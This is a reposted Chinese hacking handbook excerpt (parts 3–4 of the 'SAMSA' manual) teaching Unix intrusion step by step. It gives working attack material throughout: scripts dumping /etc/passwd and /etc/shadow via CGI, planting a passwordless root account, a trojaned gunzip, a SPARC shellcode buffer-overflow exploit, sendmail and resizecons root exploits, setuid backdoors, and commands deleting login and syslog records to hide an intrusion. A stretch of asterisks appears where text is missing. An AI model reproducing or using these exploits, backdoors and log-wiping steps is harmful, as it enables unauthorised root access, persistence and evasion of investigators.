黑基网 首页 学院 电脑技术 查看内容

SAMSA黑客手册(2)

2009-2-9 08:11| 投稿: computer

摘要: SAMSA黑客手册(第3部分) 4.2.2) 篡改主页篡改主页是黑客惯用的手段,因为这既不会对被攻击者造成实质上的损失,但可以破坏被攻击者的声誉,证明自己的能力,是攻...
SAMSA黑客手册(第3部分) 4.2.2) 篡改主页篡改主页是黑客惯用的手段,因为这既不会对被攻击者造成实质上的损失,但可以破坏被攻击者的声誉,证明自己的能力,是攻击成功的象征性标志。 e.g.许多系统 http 根目录下权限设置有误!不信请看:% grep http /etc/inetd.conf% ps -ef | grep httphttp 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/httpd -f /opt/home1/ofc/http/httpd/conf/httpd.confhttp 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/httpd -f /opt/home1/ofc/http/httpd/conf/httpd.confroot 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/httpd -f /opt/home1/ofc/http/httpd/conf/httpd.conf......% cd /opt/home1/ofc/http/httpd% ls -l |moretotal 530drwxrwxrwx 11 http ofc 512 Jan 18 13:21 English-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.htmldrwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bindrwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-srcdrwxrwxrwx 2 http ofc 512 Jan 12 15:05 committeedrwxr-sr-x 2 root ofc 512 Jul 2 1998 conf-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpddrwxrwxrwx 2 http ofc 512 Jan 12 15:06 iconsdrwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htmdrwxrwxrwx 2 http ofc 512 Jan 12 15:07 introductiondrwxr-sr-x 2 http ofc 512 Apr 13 08:46 logsdrwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research简直一塌糊涂,差不多全都是world-writable,请随意修改吧! 4.3) 拒绝服务(DoS:Denial of Service)利用系统漏洞捣乱: e.g. Solaris 2.5(2.5.1)下:$ ping -sv -i 127.0.0.1 224.0.0.1PING 224.0.0.1 56 data bytes就这么一个命令系统就会重启了; 五、取得超级用户权限取得ROOT权限是一次黑客入侵的最高理想,通往这个理想的道路是多种多样的;主要的,一是利用系统管理员的配置错误,一是利用系统的漏洞:包括硬件平台、操作系统和应用程序的漏洞;配置错误必须依靠系统管理员的失误(失职),系统漏洞则是硬软件自身的毛病,管理员要想避免这类毛病,必须密切注意Internet上公布的系统漏洞(和自己所管理的系统类型匹配的部分),并尽快安装相应补丁。 5.1)利用错误配置5.1.1) 利用cgi-bin e.g.$ hostname victim.com$ grep http /etc/inetd.confhttp stream tcp nowait root /usr/local/etc/httpd/httpd httpd $ cd /usr/local/etc/httpd$ ls -ltotal 530drwxrwxrwx 2 http ofc 512 Dec 24 15:20 cgi-bindrwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src......$ cd cgi-bin$ mkdir .hide; cd .hide$ cat > .getps#!/bin/shecho "------ passwd ------"/bin/cat /etc/passwdecho "------ shadow ------"/bin/cat /etc/shadow^D$ chmod a+x .getps攻击者在cgi-bin目录下放置了一个shell程序,在浏览器location栏中键入:http://victim.com/cgi-bin/.hide/.getps来运行这个程序,就得到以下输出: ------ passwd ------root:x:0:1:Super-User:/:/usr/bin/kshdaemon:x:1:1::/:bin:x:2:2::/usr/bin:sys:x:3:3::/:adm:x:4:4:Admin:/var/adm:lp:x:71:8:Line Printer Admin:/usr/spool/lp:uucp:x:5:5:uucp Admin:/usr/lib/uucp:nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucicolisten:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:Nobody:/:noaccess:x:60002:60002:No Access User:/:nobody4:x:65534:65534:SunOS 4.x Nobody:/:leopard:x:100:20::/space/users/lpf:/bin/sh ------ shadow ------root:W27wJyew7noIs:10710::::::daemon:NP:6445::::::bin:NP:6445::::::sys:NP:6445::::::adm:NP:6445::::::lp:NP:6445::::::uucp:NP:6445::::::nuucp:NP:6445::::::listen:*LK*:::::::nobody:NP:6445::::::noaccess:NP:6445::::::nobody4:NP:6445::::::leopard:5gLpBVsH5lumg:10703:::::: 添加一个用户,取一个有迷惑性的用户名,如smnp,这个用户UID为0(即等同于超级用户),同时没有口令。在目标机上:$ cat >.mkusr#!/bin/shcat > /etc/passwd <<EOFroot:x:0:1:Super-User:/:/usr/bin/kshdaemon:x:1:1::/:bin:x:2:2::/usr/bin:sys:x:3:3::/:adm:x:4:4:Admin:/var/adm:lp:x:71:8:Line Printer Admin:/usr/spool/lp:smnp:x:0:1:SmNetManager:/:/usr/bin/ksh # hackeruucp:x:5:5:uucp Admin:/usr/lib/uucp:nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucicolisten:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:Nobody:/:noaccess:x:60002:60002:No Access User:/:nobody4:x:65534:65534:SunOS 4.x Nobody:/:leopard:x:100:20::/space/users/lpf:/bin/sh EOF^D$ cat >.mksw#!/bin/shcat > /etc/shadow <<EOFroot:W27wJyew7noIs:10710::::::daemon:NP:6445::::::bin:NP:6445::::::sys:NP:6445::::::adm:NP:6445::::::lp:NP:6445::::::smnp:::::::: # hackeruucp:NP:6445::::::nuucp:NP:6445::::::listen:*LK*:::::::nobody:NP:6445::::::noaccess:NP:6445::::::nobody4:NP:6445::::::leopard:5gLpBVsH5lumg:10703:::::: EOF^D$ chmod a+x .mkusr .mksw 然后在浏览器location栏中依次键入http://victim.com/cgi-bin/.hide/.mkusr和http://victim.com/cgi-bin/.hide/.mksw 在目标机上:$ su smnp# iduid=0(root) gid=1(sys)成功地成为超级用户; 5.1.2) 特洛伊木马特洛伊木马是这样一种程序,它伪装成另外一个程序,当它被运行时,它即完成那个程序的正常功能,同时还完成一种不为使用者期待的行为; e.g.$ echo $PATH/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.$ ls -ld /opt/gnudrwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu$ cd /opt/gnu$ ls -ltotal 24drwxrwxrwx 7 root other 512 5月 14 11:54 .drwxrwxr-x 9 root sys 512 5月 19 15:37 ..drwxr-xr-x 2 root other 1536 5月 14 16:10 bindrwxr-xr-x 3 root other 512 1996 11月 29 includedrwxr-xr-x 2 root other 3584 1996 11月 29 infodrwxr-xr-x 4 root other 512 1997 12月 17 lib 执行目录搜索序列中,/opt/gnu/bin的父目录可写,但/opt/gnu/bin本身不可写;因此:$ cp -R bin .TT_RT; cd .TT_RT``.TT_RT这种东西看起来象是系统本来就有的,不容易引起注意;决定替换/opt/gnu/bin下常用的程序gunzip:$ mv gunzip gunzip:$ cat > toxan#!/bin/shecho "+" >/.rhosts^D$ cat > gunzip#!/bin/sh/opt/gnu/bin/toxan 2>/dev/nullif [ -f /.rhosts ]thenmv /opt/gnu/bin /opt/gnu/.TT_RTmv /opt/gnu/.TT_DB /opt/gnu/bin/opt/gnu/bin/gunzip $*else/opt/gnu/bin/gunzip: $*fi ^D$ chmod 755 toxan gunzip$ cd ..$ mv bin .TT_DB$ mv .TT_RT bin$ ls -ltotal 16drwxr-xr-x 2 young staff 1536 5月 14 16:10 bindrwxr-xr-x 3 root other 512 1996 11月 29 includedrwxr-xr-x 2 root other 3584 1996 11月 29 infodrwxr-xr-x 4 root other 512 1997 12月 17 lib$ ls -altotal 24drwxrwxrwx 7 root other 512 5月 14 11:54 .drwxrwxr-x 9 root sys 512 5月 19 15:37 ..drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DBdrwxr-xr-x 2 young staff 1536 5月 14 16:10 bindrwxr-xr-x 3 root other 512 1996 11月 29 includedrwxr-xr-x 2 root other 3584 1996 11月 29 infodrwxr-xr-x 4 root other 512 1997 12月 17 lib 原来的/opt/gnu/bin被改名为/opt/gnu/.TT_DB,现在/opt/gnu/bin下,原来的``gunzip被改名为``gunzip:,新的gunzip是一个特洛伊木马,它先尝试创建/.rhosts,然后如果成功,就恢复/opt/gnu/bin,最后调用正确的gunzip完成正常功能;由于现在的/opt/gnu/bin的属主是攻击者控制的普通用户young,这是不合理的,所以这个特洛伊木马有暴露的可能,但系统使用者未必会经常检查这个,所以这个可能性也不是太大。 现在要做的就是等待root(或其他任何一个对根目录有写权限的用户)执行gunzip了。如果这个事件发生了,那么: $ cd /opt/gnu$ ls -altotal 24drwxrwxrwx 7 root other 512 5月 14 11:54 .drwxrwxr-x 9 root sys 512 5月 19 15:37 ..drwxr-xr-x 2 young other 1536 1998 11月 2 .TT_RTdrwxr-xr-x 2 root staff 1536 5月 14 16:10 bindrwxr-xr-x 3 root other 512 1996 11月 29 includedrwxr-xr-x 2 root other 3584 1996 11月 29 infodrwxr-xr-x 4 root other 512 1997 12月 17 lib bin的属主变成了root,说明特洛伊木马已被成功运行;$ ls /.rhosts.rhosts$ cat /.rhosts+下面就不必赘述了。 5.2)利用操作系统漏洞操作系统漏洞或应用程序漏洞,通常要求被利用的程序本身是SUID ROOT的。其中“堆栈溢出”和“竞争条件”两类最多,加起来大概可以占所有系统漏洞80%。前者最终exec一个shell,euid=0,从而成为root;后者通常写root主目录下的.rhosts文件,然后通过rsh成为root; 5.2.1) 堆栈溢出e.g. SunOS 5.5 上的/usr/bin/eject程序处理数据缓冲区边界有误,通过使数据越过边界,改写堆栈中函数返回地址,以使函数返回时,不跳转到调用它的地方,而是跳转到数据区的某处,那里放着攻击者的代码... ------------------------- begin: eject.c --------------------------------#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h> #define BUF_LENGTH 364#define EXTRA 400#define STACK_OFFSET 400#define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68""\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14""\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc""\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01""\x91\xd0\x20\x08"; u_long get_sp(void){__asm__("mov %sp,%i0 \n");} void main(int argc, char *argv[]){char buf[BUF_LENGTH + EXTRA + 8];long targ_addr;u_long *long_p;u_char *char_p;int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ;targ_addr = get_sp() - STACK_OFFSET - dso;for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)*long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++)*char_p++ = sparc_shellcode; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++)*long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);execl("/bin/eject", "eject", & buf[1],(char *) 0);perror("execl failed");}------------------------------ end: eject.c ------------------------------ 假设你在victim.com上只有普通帐号,想成为root:% uname -a SunOS victim.com 5.5 Generic sun4d sparc SUNW,SPARCserver-1000% gcc eject.c -o ej% ./ej#这是在SunOS 5.5上,可以看到,成为root是多么轻松。 5.2.2) 竞争条件(race condition,or symbolic-link following) e.g.也是SunOS 5.5上的例子,先看程序: --------------------------- begin: uhit.sh ----------------------#!/bin/sh CALIB=/usr/openwin/bin/kcms_calibrateCONF=/usr/openwin/bin/kcms_configurePROFDIR=/usr/openwin/share/etc/devdata/profilesSEM=Kp_kcms_sys.semPROFFILE=kcmsEKsony17.monDISP=hacker.home.edu:0.0 DISPLAY=$DISPexport DISPLAY/bin/rm -rf /tmp/$SEMln -s /.rhosts /tmp/$SEM$CALIB&while [ 1 ]doecho "Click the device youve chosen in kcms_calibrate window"$CONF -o -d $DISP $PROFDIR/$PROFFILEif [ -f /.rhosts ]thenecho " " >> /.rhostsecho "+" >> /.rhostsfi done--------------------------- end : uhit.sh ---------------------- 其中 PROFFILE 和 DISP 两个变量是需要根据具体环境改成适当的值的.说明一下,``kcms_configure是openwin系统用来调整显示器参数的一个程序,该程序在/tmp目录下创建一个临时文件``Kp_kcms_sys.sem,并且是symbolic-link following的,也就是说,如果你在该目录下创建一个同名的符号链接,那该程序就会跟随这个符号链接,从而去操作该链接所指向的那个文件,具体到这里,就是root的主目录下的/.rhosts,如果该文件不存在,就创建它,并把它的权限修改成world-writable。 $ ls -l /usr/openwin/bin/kcms*-rwsr-sr-x 1 root bin 94044 1998 7月 10 kcms_calibrate-rwsr-sr-x 1 root bin 27752 1998 7月 10 kcms_configure-rwxr-xr-x 1 root bin 24380 1998 7月 10 kcms_server 这一切之所以可能,正是因为``kcms_calibrate和``kcms_configure都是SUID ROOT的。现在把过程讲一下:第一步在你自己的机器上做,要求你必须在你自己机器的(有图形显示器的)控制台上,且你的机器提供 X-Windows 服务,设你的机器域名为 hacker.home.edu,攻击对象的域名为 victim.com: # xhost +victim.comvictim.com being added to access control list目的是为了让在victim.con上运行的带图形界面的程序能把界面显示在你的机器上,这样你才能控制嘛... 第二步在对方的机器上做,要求你有普通用户帐号, # telnet victim.com...% uname -a SunOS victim.com 5.5 Generic sun4d sparc SUNW,SPARCserver-1000% iduid=123(hacker) gid=10(users)% ls -l-rwx------ 1 hacker users 479 1998 7月 10 uhit.sh% ls /usr/openwin/share/etc/devdata/profiles/*.monkcmsEKappl13.mon kcmsEKgend50.mon kcmsEKp22g22.mon kcmsEKsony20.monkcmsEKebu18.mon kcmsEKnokia15.mon kcmsEKsony16.mon kcmsEKvs17in.monkcmsEKebu22.mon kcmsEKp22g187d.mon kcmsEKsony17.mon 可从其中任选一个,上面uhit.sh中选中的是``kcmsEKsony17.mon; % ./uhit.shClick the device youve chosen in kcms_calibrate windowCall was successful.Click the device youve chosen in kcms_calibrate windowCall was successful.Click the device youve chosen in kcms_calibrate window ... 这时你的屏幕上会弹出``kcms_calibrate的界面窗口,在其中``monitors组框中,选中我们的设备,``kcmsEKsony17.mon,意味着sony 1******************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************************************************************************************************************************程序开放时,可能为了调试方便而留下一些除正常途径以外的其他的控制程序行为的途径,如果在程序最后成为产品时没有把这些非法途径除去,这些途径就可以被黑客利用; e.g.看看sendmail(8.6.4)的一个漏洞,先看程序: ---------------------------- begin: sendbug.sh --------------------------#!/bin/sh SENDMAIL=/usr/lib/sendmailCONFIG=/etc/mail/sendmail.cf#CONFIG=`strings $SENDMAIL|grep sendmail.cf`#The strings utility looks for ASCII strings in a binary file. SHELL=/bin/kshCC=gcc TEMPDIR=/tmp/sendbug-tmp.$mkdir $TEMPDIRchmod 700 $TEMPDIRcd $TEMPDIR cp $SENDMAIL smchmod 700 sm echo "creating setid0..."cat >setid.c << __EOF__#include <stdio.h> main(argc,argv)int argc;char *argv[];{ int uid;setuid(0); if (getuid() != 0) {puts("setuid(0) failed");exit(1);}execl(argv[1],"mysh",NULL);}__EOF__ $CC -o setid0 setid.c echo "creating calc..."cat >calc.c <<__EOF__#include <fcntl.h> void gencore(){int pid,fd[2];if(pipe(fd)<0){ perror("pipe");exit(1);}pid=fork();if (!pid){int f=open("./out",O_RDWR|O_CREAT,0666);dup2(f,1); dup2(fd[0],0);close(f); close(fd[0]); close(fd[1]);execl("./sm","sm","-d0-9.90","-oQ.","-bs",0);perror("exec");exit(1);}else{sleep(2);kill(pid,11);}close(fd[0]); close(fd[1]);} int find(pattern,file)char *pattern;char *file;{ int fd,i,addr; char c;fd=open(file,O_RDONLY);i=0; addr=0;while(read(fd,&c,1)==1){if (pattern==c) i++;else i=0;if (pattern==\0){addr-=strlen(pattern);return(addr);}addr++;}} main(argc,argv)int argc;char *argv[];{ unsigned int ConfFile,tTdvect,off; gencore();sync();tTdvect=find("ZZZZZZZZ","core");ConfFile=find(argv[1],"core");if (!tTdvect||!ConfFile) return (1);off=ConfFile-tTdvect;printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",off,/,off+1,t,off+2,m,off+3,p,off+4,/,off+5,s,off+6,m,off+7,.,off+8,c,off+9,f,off+10);/* "/tmp/sm.cf" */} __EOF__ $CC -o calc calc.c echo "scanning core image for $CONFIG" DEBUGFLAGS=`./calc $CONFIG` echo "creating alias.sh"cat >alias.sh << __EOF__#!/bin/sh /bin/chmod 6777 $TEMPDIR/setid0/bin/chown root $TEMPDIR/setid0/bin/sync__EOF__ chmod 755 alias.sh echo "creating fake alias file..."echo "yash: |$TEMPDIR/alias.sh" > aliases echo "faking alias pointer in new config file..."egrep -v (OA|DZ|Ou|Og) $CONFIG > /tmp/sm.cfcat >> /tmp/sm.cf << __EOF__OA$TEMPDIR/aliasesOu0Og0DZWHOOP-v1.0__EOF__ echo "creating the sendmail script..."cat > sendmail.script << __EOF__helomail from:nobodyrcpt to:yashdatayet another sendmail hole?suid whoop?.quit__EOF__ echo "executing $SENDMAIL $DEBUGFLAGS -bs ..."$SENDMAIL $DEBUGFLAGS -bs < sendmail.script sleep 3 (sleep 5;cd /;rm -rf $TEMPDIR /tmp/sm.cf)& if [ -u setid0 ]thenecho "setid0 is a suid shell.executing..."cd /$TEMPDIR/setid0 $SHELLelse echo "setid0 is not suid,failed."fi ---------------------------- end : sendbug.sh -------------------------- 运行结果为: creating setid0...creating calc...scanning core image for /etc/mail/sendmail.cfcreating alias.shcreating fake alias file...faking alias pointer in new config file...creating the sendmail script...executing /usr/lib/sendmail -d4294929924.47,4294929925.116,4294929926.109,4294929927.112,4294929928.47,4294929929.115,4294929930.109,4294929931.46,4294929932.99,4294929933.102,4294929934.0 -bs ... Version SMI-8.6.4220 sun8. Sendmail SMI-8.6.4/SMI-SVR4 ready at Thu, 20 May 1999 16:09:53 +0900250 sun8. Hello [email protected], pleased to meet you250 nobody... Sender ok250 yash... Recipient ok354 Enter mail, end with "." on a line by itself250 RAA06733 Message accepted for delivery221 sun8. closing connection setid0 is a suid shell.executing...# SAMSA黑客手册(第4部分) 大致过程是这样: 0,编译setid0、calc两个程序; 1,运行calc程序,该程序的目的是要计算sendmail程序的内存映像中标志性字符串 "ZZZZZZZZ"和另一个字符串(sendmail配置文件的路径名)之间的偏移量。为此,calc的一个子进程运行sendmail的一个拷贝(sm)来替代自己(execl),主进程则先sleep 2秒,然后发一个段出错信号(SIGSEGV=11)给该子进程,从而使之产生一个“段错误”,生成一个"core"文件;之后calc计算该文件中上述两个字符串之间的偏移量。最后该程序输出一个字符串,其中隐含"/tmp/sm.cf"字样; 2,生成伪造的``sendmail.cf配置文件,即:/tmp/sm.cf,其中规定sendmail以root 权限运行,并设置了这样一个别名:"yash: |$TEMPDIR/alias.sh"使得寄给yash的邮件被重定向给alias.sh这个shell程序,而这个shell程序所做的事就是把setid0变成SUID ROOT的。 3,运行sendmail,以sendmail.script为输入脚本,这个脚本以nobody的名义向yash别名发一封邮件,以便触发alias.sh脚本。现在的问题是(也即:最关键的问题),怎么 使得sendmail运行的时候不使用缺省的配置文件(e.g./etc/mail/sendmail.cf,这个文件是我们无法改写的),而使用我们伪造的配置文件/tmp/sm.cf呢?——看: executing /usr/lib/sendmail -d4294929924.47,4294929925.116,4294929926.109,4294929927.112,4294929928.47,4294929929.115,4294929930.109,4294929931.46,4294929932.99,4294929933.102,4294929934.0 -bs ... -d 选项是设置某种debug value,具体到这里,就是在相对于内存映像中相对于字符串"ZZZZZZZZ"偏移量为4294929924的地方用47代替原来在该位置的值,以此类推,整个 选项的最终结果是,在原来放缺省配置文件路径名(e.g./etc/mail/sendmail.cf)的地方放上了伪造配置文件的路径名(我前面已经指出:calc输出的字符串中隐含"/tmp/sm.cf") 这样,我们就达到了目的。当然,-d 的这种处理是Sendmail 8.6.4特有的,这就是程序员遗留下的后门。 4,最后,我们检测setid0程序是否已置SUID位,如果是,运行该程序,我们就变成了root! 当然,另一个要点是:sendmail本身是SUID ROOT的(自己都不是SUID ROOT的程序又怎么可能把别`人变成SUID ROOT呢? $ ls -l /usr/lib/sendmail-r-sr-xr-x 1 root bin 234980 Oct 25 1995, /usr/l, ib/sendmail [思考]:Sendmail 8.6.4并非那么常见,甚至可遇不可求,不过我们可以得到启发:即使Sendmail版本不是8.6.4,但如果sendmail.cf和alias文件碰巧可写,我们不是也可以做同样的事吗? 5.2.3.2) 非绝对路径执行(executing not by absolute PATH)当一个SUID ROOT程序中途要以root权限运行别的相关程序,但没有用全路径名来指定该程序时,可以通过修改PATH环境变量和放置一个伪造的同名程序在PATH中位置靠前(比真实程序所在的目录靠前)的某个目录里,即可以root权限程序执行任何我们想执行的程序; e.g.Linux Red Hat 2.1 中/usr/bin/resizecons是suid root的,它执行restoretextmode、setfont两个相关程序,且未指定绝对路径;exploit程序如下: -------------------------- begin: wozzeck.sh --------------------------------#!/bin/sh## wozzeck.sh# exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system.## by Dave M. ([email protected])# echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 systemecho ================ Checking system vulnerabilityif test -u /usr/bin/resizeconsthenecho ++++++++++++++++ System appears vulnerable.cd /tmpcat << _EOF_ > /tmp/313x37This exploit is dedicated to Wozz. Use it with care._EOF_cat << _EOF_ > /tmp/restoretextmode#!/bin/sh/bin/cp /bin/sh /tmp/wozz/bin/chmod 4777 /tmp/wozz_EOF_/bin/chmod +x /tmp/restoretextmodePATH=/tmpecho ================ Executing resizecons/usr/bin/resizecons 313x37/bin/rm /tmp/restoretextmode/bin/rm /tmp/313x37if test -u /tmp/wozzthenecho ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozzelseecho ---------------- Exploit failedfielseecho ---------------- This machine does not appear to be vulnerable.fi -------------------------- end : wozzeck.sh -------------------------------- 执行结果:$ ./wozzeck.sh================ wozzeck.sh - gain root on Linux Red Hat 2.1 system================ Checking system vulnerability++++++++++++++++ System appears vulnerable.++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz$ /tmp/wozz# 瞧!又成了超级用户。 5.2.3.3) 硬链接写(hard link writing) e.g.Sendmail 8.8.4的一个漏洞:$ cd /var/tmp$ ls -ld .drwxrwxrwt 2 sys sys 512 May 21 17:02 . $ ln /etc/passwd dead.letter$ ls -ltotal 2-r--r--r-- 2 root sys 939 May 14 11:05 dead.letter 发一封无法投递的邮件:$ telnet localhost 25Trying 127.0.0.1...Connected to localhost.Escape character is ^].220 sun8. Sendmail SMI-8.8.4/SMI-SVR4 ready at Fri, 21 May 1999 17:07:03 +0900mail from:[email protected] [email protected] Sender okrcpt to:[email protected] [email protected] Recipient okdata354 Enter mail, end with "." on a line by itselfhacker::0:0:I am a hacker:/:/bin/sh.250 RAA00579 Message accepted for deliveryquit221 sun8. closing connectionConnection closed by foreign host. $ tail -1 /var/tmp/dead.letterhacker::0:0:I am a hacker:/:/bin/sh$ tail -1 /etc/passwd hacker::0:0:I am a hacker:/:/bin/sh$ su hacker# 做这个操作之前应该备份/etc/passwd文件,在成为超级用户后立刻恢复其内容; 六、收尾工作收尾工作包括留后门、消除痕迹等;前者是为了方便下次进入,后者是为了隐藏身份,避免被抓住; 6.1) 后门 e.g.假设攻击者某次通过改写/.rhosts成了root,由于``.rhosts的突然出现或内容改变是很容易被发现的,应该立刻恢复原来的状态,为了便于下次再来,最好是留个后门: # rm -f /.rhosts# cd /usr/bin# ls msclmscl: 无此文件或目录# cp /bin/ksh mscl# chmod a+s mscl# ls -l mscl-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl 以后只需以普通用户身份登录,然后执行``/usr/bin/mscl,就成root了。/usr/bin下面那一大堆应用程序,能发现这个伪造的mscl的几率应该说是比较小的。 6.2) 消除登录记录:6.2.1) /var/adm/lastloge.g.# cd /var/adm# ls -l总数73258-rw------- 1 uucp bin 0 1998 10月 9 aculog-r--r--r-- 1 root root 28168 5月 19 16:39 lastlogdrwxrwxr-x 2 adm adm 512 1998 10月 9 log-rw-r--r-- 1 root root 30171962 5月 19 16:40 messagesdrwxrwxr-x 2 adm adm 512 1998 10月 9 passwd-rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist-rw------- 1 root root 6871 5月 19 16:39 sulog-rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp-rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx-rw-rw-rw- 1 root root 122 1998 10月 9 vold.log-rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp-rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx 为了下次登录时不显示``Last Login信息(向真正的用户显示):# rm -f lastlog# telnet victim.com SunOS 5.7 login: youngPassword:Sun Microsystems Inc. SunOS 5.7 Generic October 1998$ 否则:SunOS 5.7 login: zwPassword:Last login: Wed May 19 16:38:31 from hacker.home.eduSun Microsystems Inc. SunOS 5.7 Generic October 1998$ 说明:/var/adm/lastlog 每次有用户成功登录进来时记一条,所以删掉以后再登录一次就没有``Last Login信息,但再登一次又会出现,因为系统会自动重新创建该文件. 6.2.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpxutmp、utmpx 这两个数据库文件存放当前登录在本机上的用户信息,用于who、write、login等程序中;e.g.$ whosou console 5月 19 16:49 (:0)young pts/5 5月 19 16:53 (hacker.home.edu) wtmp、wtmpx分别是它们的历史记录,用于``last命令,该命令读取wtmp(x)的内容并以可理解的方式进行显示: $ last | grep zwyoung ftp hacker.home.edu Fri Apr 30 09:47 - 10:12 (00:24)young pts/1 hacker.home.edu Fri Apr 30 08:05 - 11:40 (03:35)young pts/18 hacker.home.edu Thu Apr 29 15:36 - 16:50 (01:13)young pts/7 hacker.home.edu Thu Apr 29 09:53 - 15:35 (05:42)young pts/7 hacker.home.edu Thu Apr 29 08:48 - 09:53 (01:05)young ftp hacker.home.edu Thu Apr 29 08:40 - 08:45 (00:04)young pts/10 hacker.home.edu Thu Apr 29 08:37 - 13:27 (04:49)...... utmp、wtmp已经过时,现在实际使用的是utmpx和wtmpx,但同样的信息依然以旧的格式记录在utmp和wtmp中,所以要删就全删。 # rm -f wtmp wtmpx# last/var/adm/wtmpx: 无此文件或目录 6.2.3) syslogsyslogd 随时从系统各处接受log请求,然后根据/etc/syslog.conf中的预先设定把log信息写入相应文件中、邮寄给特定用户或者直接以消息的方式发往控制台。不妨先看看syslog.conf的内容: ---------------------- begin: syslog.conf -------------------------------#ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */## Copyright (c) 1991-1993, by Sun Microsystems, Inc.## syslog configuration file.#*.err;kern.notice;auth.notice /dev/console*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages *.alert;kern.err;daemon.err operator*.alert root...... ---------------------- end : syslog.conf ------------------------------- ``auth.notice这样的东西由两部分组成,称为``facility.level,前者表示log信息涉及的方面,level表示信息的紧急程度。facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...level 有:emerg,alert,crit,err,warning,info,debug,etc...(紧急程度递减),一般和安全关系密切的facility是mail,daemon,auth etc...;而这类信息按惯例通常存放在/var/adm/messages里。那么 messages 里那些信息容易暴露“黑客”痕迹呢?1,"May 4 08:48:35 victim login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM hacker"重复登录失败!如果你猜测口令的话,你肯定会经历很多次这样的失败!不过一般的UNIX系统只有一次telnet session连续登录5次失败才会记这么一条,所以当你4次尝试还没成功,最好赶紧退出,重新telnet...2,"May 5 10:30:35 victim su: su root failed for young on /dev/pts/15""May 18 17:02:16 victim su: su root succeeded for young on /dev/pts/1"如果黑客想利用``su成为超级用户,无论成功失败,messages里都可能有记录...3,"Apr 29 10:12:23 victim sendmail[4777]: NOQUEUE: "wiz" command from numen""Apr 29 10:12:23 victim sendmail[4777]: NOQUEUE: "debug" command from numen"Sendmail早期版本的``wiz、``debug命令是漏洞所在,所以黑客可能会尝试这两个命令...因此,/var/adm/messages也是暴露黑客行踪的隐患,最好把它删掉——如果能的话! # rm -f /var/adm/messages 或者,如果你不想引起注意的话,也可以只把对应的行删掉(当然要有写权限)。 6.2.4) sulog/var/adm下还有一个sulog,是专门为su程序服务的: # cat sulogSU 05/06 09:05 + console root-johnSU 05/06 13:55 - pts/9 young-rootSU 05/06 14:03 + pts/9 young-root...... 其中``+表示su成功,``-表示失败。如果你用过su,那就把这个文件也删掉把,或者至少把关于你的行删掉! Appendix A: 参考文献 [ English ] Anonymous 1997. "Maximum Security" Sams net AT&T 1990. "UNIX System V Release 4" UNIX Press,Prentice Hall1) "Network Users and Administrators Guide"2) "Programmers Guide:Streams"3) "Programmers Guide:System Services & Application Packaging Tools"4) "Programmers Guide:Networking Interfaces"5) "System Administrators Guide-Chpt. 12:Security"6) "System Administrators Reference Manual" Balif & Desslok "Automating brute force attacks with Expect" from "rootshell" Dan Farmer & Wietse Venema 1995. "Improving the Security of Your Site by Breaking Into it""Tutorials - Security problems" in "satan" http://www.rootshell.com1) Francisco Torres 1997. <campus_cgi-hole.txt>2) <glimpse_http.txt>3) JungSeok. Roh <ksolaris.txt>4) <majordomo.txt>5) <sndmail.8.8.4.txt>6) Bpowell 1997. <soloaris_ping.txt> Simson Garfinkel & Gene Spafford 1992. "Practical UNIX Security",OReilly and Associates Stevens,W.R. 1998. <UNIX Network Programming> Prentice Hall Tanenbaum,A.S 1996. <Computer Networks> Prentice Hall [ 中文 ] Levine,J.R. & Baroudi,C. 1995 <Internet 奥秘> IDG. 电子工业出版社 